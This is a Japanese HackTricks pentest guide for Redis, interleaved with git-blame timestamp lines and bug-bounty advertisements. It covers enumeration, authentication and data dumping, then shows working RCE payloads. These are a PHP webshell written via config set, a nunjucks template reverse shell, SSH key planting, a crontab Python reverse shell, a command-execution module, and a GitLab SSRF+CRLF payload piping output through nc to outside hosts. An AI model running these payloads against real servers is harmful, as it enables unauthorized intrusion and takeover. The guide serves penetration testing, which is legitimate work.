2023-07-07 23:42:27 +00:00
# 6379 - Redisのペンテスト
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **に提出してください。**
2022-04-28 16:01:33 +00:00
< / details >
2023-07-31 18:31:20 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-11-05 09:07:43 +00:00
2023-07-14 16:20:47 +00:00
**HackenProofはすべての暗号バグバウンティの場所です。**
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**遅延なしで報酬を受け取る**\
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**Web3ペンテストの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです! 上昇期のweb3セキュリティをマスターしましょう。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ** ](https://hackenproof.com/register )して、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
2022-11-05 09:07:43 +00:00
2023-07-07 23:42:27 +00:00
## 基本情報
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
Redisはオープンソース( BSDライセンス) のインメモリ**データ構造ストア**であり、**データベース**、キャッシュ、メッセージブローカーとして使用されます([ここから](https://redis.io/topics/introduction)) 。デフォルトで、一般的にRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**も実装できることに注意する必要があります。[ここでRedisをssl/tlsで実行する方法](https://fossies.org/linux/redis/TLS.md)を学びましょう。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
**デフォルトポート:** 6379
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
PORT STATE SERVICE VERSION
2020-09-24 19:39:13 +00:00
6379/tcp open redis Redis key-value store 4.0.9
2020-07-15 15:43:14 +00:00
```
2023-07-07 23:42:27 +00:00
## 自動列挙
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
Redisインスタンスから情報を取得するのに役立ついくつかの自動化ツール:
2020-07-19 21:58:26 +00:00
```bash
2020-07-15 15:43:14 +00:00
nmap --script redis-info -sV -p 6379 < IP >
msf> use auxiliary/scanner/redis/redis_server
```
2023-07-07 23:42:27 +00:00
## マニュアル列挙
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### バナー
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
Redisは**テキストベースのプロトコル**です。コマンドをソケットに送信するだけで、返される値は読み取れます。また、Redisは**ssl/tls**を使用して実行することもできます(ただし、これは非常に珍しいです)。
2020-07-20 15:31:30 +00:00
2023-07-07 23:42:27 +00:00
通常のRedisインスタンスでは、`nc`を使用して接続するか、`redis-cli`を使用することもできます。
2020-07-20 15:31:30 +00:00
```bash
2020-07-15 15:43:14 +00:00
nc -vn 10.10.10.10 6379
2020-07-20 15:31:30 +00:00
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
2020-07-15 15:43:14 +00:00
```
2023-07-14 16:20:47 +00:00
最初に試すことができる**コマンド**は**`info`**です。これはRedisインスタンスの情報を返すか、以下のような情報が返される可能性があります:
2021-10-18 11:21:18 +00:00
```
2020-07-20 15:31:30 +00:00
-NOAUTH Authentication required.
```
2023-07-07 23:42:27 +00:00
この最後のケースでは、Redisインスタンスにアクセスするためには**有効な資格情報が必要**です。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### Redisの認証
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
Redisは**デフォルトでは**資格情報なしでアクセスできます。ただし、**パスワードのみ、またはユーザー名+パスワード**をサポートするように**設定することもできます**。\
2023-07-31 18:31:20 +00:00
`redis.conf` ファイルの`requirepass`パラメータでパスワードを**設定する**ことができます。また、サービスが再起動するまでの間、接続して`config set requirepass p@ss$12E45`を実行することでも一時的に設定できます。\
また、`redis.conf`ファイル内の`masteruser`パラメータで**ユーザー名**を設定することもできます。
2020-07-15 15:43:14 +00:00
2020-07-20 15:31:30 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
パスワードのみが設定されている場合、使用されるユーザー名は「**default**」です。\
2023-07-31 18:31:20 +00:00
また、Redisがパスワードのみで設定されているのか、ユーザー名+パスワードで設定されているのかは、**外部からはわかりません**。
2020-07-20 15:31:30 +00:00
{% endhint %}
2023-07-31 18:31:20 +00:00
このような場合、Redisとやり取りするための有効な資格情報を見つける必要がありますので、[**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#redis)を試してみることができます。\
2023-07-30 23:08:56 +00:00
**有効な資格情報を見つけた場合、接続を確立した後にセッションを認証する必要があります**。以下のコマンドを使用します:
2020-07-20 15:31:30 +00:00
```bash
AUTH < username > < password >
2020-07-15 15:43:14 +00:00
```
2023-07-14 16:20:47 +00:00
**有効な資格情報**に対しては、`+OK`という応答が返されます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### **認証済みの列挙**
2020-07-20 15:31:30 +00:00
2023-07-14 16:20:47 +00:00
Redisインスタンスが**匿名**接続を受け入れているか、**有効な資格情報**を見つけた場合、以下のコマンドを使用してサービスの列挙を開始できます。
2020-07-19 22:28:20 +00:00
```bash
2020-07-20 15:31:30 +00:00
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
2020-07-15 15:43:14 +00:00
```
2023-07-14 16:20:47 +00:00
**他のRedisコマンド**は[こちら](https://redis.io/topics/data-types-intro)と[こちら](https://lzone.de/cheat-sheet/Redis)で見つけることができます。\
なお、**インスタンスのRedisコマンドはredis.confファイルで名前を変更するか削除することができます**。例えば、次の行はFLUSHDBコマンドを削除します。
2021-10-18 11:21:18 +00:00
```
2020-07-23 16:41:26 +00:00
rename-command FLUSHDB ""
```
2023-07-14 16:20:47 +00:00
セキュアにRedisサービスを設定する方法については、[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)を参照してください。
2020-07-23 16:41:26 +00:00
2023-07-07 23:42:27 +00:00
また、Redisで実行されるコマンドをリアルタイムで監視するには、**`monitor`**コマンドを使用するか、最も遅い25件のクエリを取得するには**`slowlog get 25`**を使用できます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
Redisの他のコマンドに関する興味深い情報は、[https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)で見つけることができます。
2020-07-20 15:31:30 +00:00
2023-07-07 23:42:27 +00:00
### **データベースのダンプ**
2020-07-23 22:06:31 +00:00
2023-07-14 16:20:47 +00:00
Redis内では、データベースは0から始まる番号で識別されます。コマンド`info`の出力の「Keyspace」セクションで使用されているかどうかを確認できます。
2020-07-23 22:06:31 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . gitbook / assets / image ( 315 ) . png > )
2020-07-23 22:06:31 +00:00
2023-07-07 23:42:27 +00:00
または、すべての**キースペース**(データベース)を取得することもできます。
2022-09-01 13:34:28 +00:00
```
INFO keyspace
```
2023-07-07 23:42:27 +00:00
その例では、**データベース0と1**が使用されています。**データベース0には4つのキーが含まれ、データベース1には1つのキーが含まれています**。Redisはデフォルトでデータベース0を使用します。たとえば、データベース1をダンプするには、次のようにします:
2020-07-23 22:06:31 +00:00
```bash
SELECT 1
[ ... Indicate the database ... ]
2023-07-07 23:42:27 +00:00
KEYS *
2020-07-23 22:06:31 +00:00
[ ... Get Keys ... ]
GET < KEY >
[ ... Get Key ... ]
```
2023-07-07 23:42:27 +00:00
もし`GET < KEY > `を実行する際に`-WRONGTYPE Operation against a key holding the wrong kind of value`というエラーが表示される場合、キーが文字列や整数以外のものであり、特別な演算子を使用して表示する必要があるためです。
2020-07-23 22:06:31 +00:00
2023-07-07 23:42:27 +00:00
キーのタイプを知るためには、`TYPE`コマンドを使用します。以下はリストとハッシュキーの例です。
2021-11-07 19:50:21 +00:00
2023-07-14 16:20:47 +00:00
```bash
TYPE < KEY >
2023-07-07 23:42:27 +00:00
```
2021-11-07 19:50:21 +00:00
```
TYPE < KEY >
[ ... Type of the Key ... ]
LRANGE < KEY > 0 -1
[ ... Get list items ... ]
HGET < KEY > < FIELD >
[ ... Get hash item ... ]
```
2023-07-14 16:20:47 +00:00
**npmを使用してデータベースをダンプする** [**redis-dump** ](https://www.npmjs.com/package/redis-dump ) **またはPython** [**redis-utils** ](https://pypi.org/project/redis-utils/ )
2020-07-15 15:43:14 +00:00
2023-07-31 18:31:20 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-03-05 19:54:13 +00:00
2023-07-14 16:20:47 +00:00
**HackenProofはすべての暗号バグ報奨金の場所です。**
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**遅延なしで報奨金を受け取る**\
2023-07-31 18:31:20 +00:00
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報奨金を受け取ることができます。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**Web3ペントestingの経験を積む**\
2023-07-31 18:31:20 +00:00
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです! 上昇期のWeb3セキュリティをマスターしましょう。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ** ](https://hackenproof.com/register ) ハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
2022-11-05 09:07:43 +00:00
2022-05-01 13:25:53 +00:00
## Redis RCE
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### インタラクティブシェル
2022-05-08 00:02:12 +00:00
2023-07-30 23:08:56 +00:00
[**redis-rogue-server** ](https://github.com/n0b0dyCN/redis-rogue-server ) はRedis( < =5.0.5)で自動的にインタラクティブシェルまたはリバースシェルを取得することができます。
2022-05-08 00:02:12 +00:00
```
./redis-rogue-server.py --rhost < TARGET_IP > --lhost < ACCACKER_IP >
```
2022-06-25 09:48:48 +00:00
### PHP Webshell
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
情報は[**こちら**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)から取得できます。ウェブサイトのフォルダの**パス**を知る必要があります。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?> "
OK
10.85.0.52:6379> save
OK
```
2023-07-14 16:20:47 +00:00
もしウェブシェルのアクセスが例外的になった場合、バックアップを取った後にデータベースを空にして再試行することができます。データベースの復元を忘れないようにしてください。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### テンプレートウェブシェル
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きすることで、シェルを取得することもできます。
2022-06-25 09:48:48 +00:00
2023-07-14 16:20:47 +00:00
例えば、[**この解説記事**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)を参考にすると、攻撃者が**nunjucksテンプレートエンジンによって解釈されるHTMLに逆シェルを注入**していることがわかります。
2022-06-25 09:48:48 +00:00
```javascript
{{ ({}).constructor.constructor(
2023-07-07 23:42:27 +00:00
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
2022-06-25 09:48:48 +00:00
)()}}
```
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
複数のテンプレートエンジンはテンプレートをメモリにキャッシュするため、上書きしても新しいテンプレートは実行されません。この場合、開発者が自動リロードを有効にしたままにしているか、サービスにDoS攻撃を行い( そして自動的に再起動されることを期待して) 、それを再起動する必要があります。
2022-06-25 09:48:48 +00:00
{% endhint %}
2022-05-01 13:25:53 +00:00
### SSH
2020-07-15 15:43:14 +00:00
2023-07-31 18:31:20 +00:00
**`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にそれを実行することをお勧めします。 ** `config get dir` ** の出力には、**redisユーザー**の**ホーム**( 通常は_/var/lib/redis_または_/home/redis/.ssh_) が含まれており、これを知ることで、ssh経由で**redisユーザー**にアクセスするための`authenticated_users`ファイルを書き込むことができる場所がわかります。書き込み権限を持つ他の有効なユーザーのホームもわかる場合は、それも悪用することができます:
2020-07-20 15:31:30 +00:00
2023-07-31 18:31:20 +00:00
1. PC上でsshの公開-秘密キーペアを生成します:**`ssh-keygen -t rsa`**
2. 公開キーをファイルに書き込みます:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
2023-07-07 23:42:27 +00:00
3. ファイルをRedisにインポートします: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
2023-07-31 18:31:20 +00:00
4. Redisサーバーの**authorized\_keys**ファイルに公開キーを保存します:
2021-10-18 11:21:18 +00:00
2023-07-07 23:42:27 +00:00
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
2023-07-14 16:20:47 +00:00
5. 最後に、プライベートキーを使用して**redisサーバー**に**ssh**で接続できます:**ssh -i id\_rsa redis@10.85.0.52**
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
**このテクニックはこちらで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit ](https://github.com/Avinash-acid/Redis-Server-Exploit )
2020-07-20 15:31:30 +00:00
2022-05-01 13:25:53 +00:00
### Crontab
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
2023-07-07 23:42:27 +00:00
最後の例はUbuntu用ですが、**Centos**の場合、上記のコマンドは次のようになります:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
この方法はビットコインを稼ぐためにも使用できます:[yam](https://www.v2ex.com/t/286981#reply14)
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### Redisモジュールのロード
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand ](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand )の指示に従って、**任意のコマンドを実行するRedisモジュールをコンパイル**することができます。
2023-07-07 23:42:27 +00:00
2. 次に、**コンパイルされた**モジュールをアップロードする方法が必要です。
3. `MODULE LOAD /path/to/mymodule.so` を使用して、アップロードしたモジュールをランタイムで**ロード**します。
2023-07-30 23:08:56 +00:00
4. `MODULE LIST` を使用して、正しくロードされたかどうかを**ロードされたモジュールのリスト**で確認します。
2023-07-07 23:42:27 +00:00
5. **コマンドを実行**します:
2021-05-27 10:20:50 +00:00
2023-07-07 23:42:27 +00:00
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. 必要に応じてモジュールをアンロードします:`MODULE UNLOAD mymodule`
2021-05-27 10:20:50 +00:00
2023-07-07 23:42:27 +00:00
### LUAサンドボックスのバイパス
2020-07-20 15:31:30 +00:00
2023-07-07 23:42:27 +00:00
[**ここ** ](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html )でRedisが**Luaコードをサンドボックスで実行**するために**EVAL**コマンドを使用していることがわかります。リンク先の投稿では、**dofile**関数を使用してこれを悪用する方法が示されていますが、[おそらく](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや可能ではありません。とはいえ、Luaサンドボックスを**バイパス**できれば、システム上で**任意のコマンドを実行**することができます。また、同じ投稿からはDoSを引き起こすためのいくつかの**オプション**も確認できます。
2020-07-20 15:31:30 +00:00
2023-07-30 23:08:56 +00:00
LUAからの脱出のためのいくつかの**CVE**:
2022-05-16 21:20:15 +00:00
* [https://github.com/aodsec/CVE-2022-0543 ](https://github.com/aodsec/CVE-2022-0543 )
2023-07-07 23:42:27 +00:00
### マスタースレーブモジュール
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
マスターレディスのすべての操作は自動的にスレーブレディスに同期されるため、脆弱性のあるレディスをスレーブレディスと見なし、自分自身が制御するマスターレディスに接続することができます。その後、自分自身のレディスにコマンドを入力することができます。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
2023-07-07 23:42:27 +00:00
## RedisへのSSRF通信
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
Redisに**クリアテキスト**リクエストを送信できる場合、Redisと**通信する**ことができます。Redisはリクエストを行ごとに読み取り、理解できない行に対してはエラーを返すだけです。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
2023-07-07 23:42:27 +00:00
したがって、ウェブサイトで**SSRF脆弱性**を見つけ、いくつかの**ヘッダー**( おそらくCRLF脆弱性を使用して) または**POSTパラメーター**を**制御**できる場合、任意のコマンドをRedisに送信することができます。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### 例: Gitlab SSRF + CRLFからシェルへ
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
**Gitlab11.4.7**で**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようになっていました( これにより、127.0.0.1にアクセスできます)。また、**CRLF**脆弱性は、**URL**に**%0D%0A**文字を追加することで悪用されました。
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
したがって、これらの脆弱性を悪用して、**gitlab**から**キューを管理する**Redisインスタンスと通信し、それらのキューを悪用して**コードの実行を取得**することが可能でした。Redisキューの悪用ペイロードは次のとおりです:
2021-10-18 11:21:18 +00:00
```
2023-07-07 23:42:27 +00:00
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
2020-07-15 15:43:14 +00:00
```
2023-07-31 18:31:20 +00:00
そして、`whoami`を実行し、`nc`を介して出力を送り返すために、SSRFを悪用し、CRLFを使用したURLエンコードされたリクエストは次のとおりです:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
2023-07-31 18:31:20 +00:00
_なぜか( この情報は_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_ ](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ ) _から取得された情報によると) この攻撃は`http`スキームではなく`git`スキームで動作しました。_
2022-04-28 16:01:33 +00:00
2023-07-31 18:31:20 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-11-05 09:07:43 +00:00
2023-07-14 16:20:47 +00:00
**HackenProofはすべての暗号バグ報奨金の場所です。**
2023-02-27 09:28:45 +00:00
2023-07-31 18:31:20 +00:00
**遅延なしで報酬を受け取る**\
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**Web3ペンテストの経験を積む**\
2023-07-31 18:31:20 +00:00
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです! その成長期におけるweb3セキュリティをマスターしましょう。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**Web3ハッカーレジェンドになる**\
2023-07-31 18:31:20 +00:00
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
[**HackenProofでサインアップ** ](https://hackenproof.com/register ) ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-07-31 18:31:20 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを
2023-07-30 23:08:56 +00:00
* [**公式のPEASS& HackTricksグッズ** ](https://peass.creator-spring.com )を手に入れましょう
2023-07-31 18:31:20 +00:00
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-07-30 23:08:56 +00:00
* **ハッキングのトリックを共有するためにPRを提出して** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **に参加しましょう。**
2022-04-28 16:01:33 +00:00
< / details >